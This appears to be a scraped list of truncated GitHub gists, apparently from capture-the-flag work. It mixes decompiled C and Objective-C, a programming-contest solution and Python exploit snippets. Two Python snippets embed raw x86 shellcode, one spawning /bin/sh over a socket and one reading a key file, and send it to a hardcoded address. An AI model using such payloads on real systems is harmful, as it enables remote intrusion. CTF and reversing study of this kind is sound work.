This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <signal.h> | |
#include <string.h> | |
int lastrand; | |
void (*exit_func)(); | |
void do_exit(int arg_0) | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image | |
from socket import * | |
from random import randint | |
from reedsolo import RSCodec | |
from struct import pack | |
shellcode = list("jfX\x99j\x01[RSj\x02\x89\xe1\xeb\x01\x90\xcd\x80[]\xbe\x80\xff\xff\xfe\xf7\xd6V\x90\xeb\x01\x90f\xbdiz\x0f\xcd\t\xddUCj\x10Q\xeb\x01\x90P\xb0f\x89\xe1\xcd\x80\x87\xd9[\xb0?\x90\xeb\x01\x90\xcd\x80Iy\xf5\xb0\x0bR\x90\x90\x90\x90\x90\xeb\x01\x90h//shh/bin\x89\xe3R\xeb\x01\x90S\xeb\xd0") | |
rs = RSCodec(17) | |
encoded_shellcode = "" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class ECCDecodeDataStream { | |
public: | |
uint var_4[0x20]; | |
uint var_84; | |
uint var_88; | |
uint *var_8C; | |
uint var_90; | |
uint var_94; | |
uint var_98; | |
uint var_9C; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int recv_fd(int fd, void *buf, int size) { | |
if (buf == NULL) return -1; | |
else if (size == 0) return 0; | |
return recv(fd, buf, size, 0); | |
} | |
int send_fd(int fd, void *buf, int size) { | |
int i = 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main(int argc, char *argv[]) { | |
int p; | |
int netfd; | |
int filefd; | |
signal(SIGALRM, quitter); | |
alarm(0x0F); | |
netfd = atoi(argv[2]); | |
filefd = atoi(argv[1]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
sys.path.append("/home/poteti/pwntools/") | |
from pwn import process | |
from struct import pack, unpack | |
def read_addr_packed(packed_addr): | |
return unpack("<Q", packed_addr + "\x00" * (8 - len(packed_addr)))[0] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import * | |
shellcode = '\xeb)j\x05X[1\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xef\x89\xf91\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2j\x04X\x8a\\$\x04\xcd\x80j\x01XC\xcd\x80\xe8\xd2\xff\xff\xffkey' | |
codes = '85\nH\nS\n95\nS\n125\nH\n17\nS\n109\nS\n125\nH\nH\nH\n57\nH\nH\n1\nH\nS\n1\nH\nH\nH\n25\nH\n-1' | |
t = socket(AF_INET, SOCK_STREAM) | |
t.connect(("192.168.174.187", 6789)) | |
print t.recv(2048) | |
t.sendall("0\x00\x00\x00" + shellcode + "\n") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#-*- encoding:utf-8 -*- | |
from base64 import b64encode, b64decode | |
from pickle import dumps, loads | |
from struct import pack, unpack | |
NONE = -1 | |
WHITE = 1 | |
RED = 2 | |
BLUE = 3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char [AudioManager loadBgmData:](struct AudioManager *self, SEL selector, id bgm_data) | |
{ | |
NSError *has_occured; | |
if (bgm_data == nil) return 0; | |
self._bgmPlayer = [AVAudioPlayer alloc]; | |
[self._bgmPlayer initWithData: bgm_data error: &has_occured]; | |
if (has_occured == nil) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
using namespace std; | |
#define J 1 | |
#define O 2 | |
#define I 4 | |
int need[1000]; | |
int dp[8][1000]; |